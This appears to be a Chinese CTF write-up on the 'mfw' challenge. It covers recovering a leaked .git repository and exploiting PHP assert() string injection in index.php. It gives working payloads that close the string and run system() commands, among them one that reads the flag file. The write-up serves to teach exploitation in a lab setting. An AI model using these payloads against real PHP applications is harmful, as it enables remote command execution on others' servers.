mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

/?page=').system("cat ./templates/flag.php");//
相关推荐
m0_4648323616 分钟前
Linux服务器上安装git lfs命令
git
贩卖纯净水.8 小时前
白月光git
git·github
爱吃瓜的猹z12 小时前
git reset 几点疑问
git·源代码管理
悟空201618 小时前
001、Git开发流程规范
git
Li小李同学Li18 小时前
git学习【持续更新中。。。】
git·学习·elasticsearch
晨春计20 小时前
【git】
android·linux·git
念幽20 小时前
Git常用命令
git
神技圈子21 小时前
【git系列】git中的那些迷惑的术语以及概念详解
git
benben0441 天前
Photoshop使用方法大全
git
ou.cs1 天前
git 删除远程分支的几种写法
git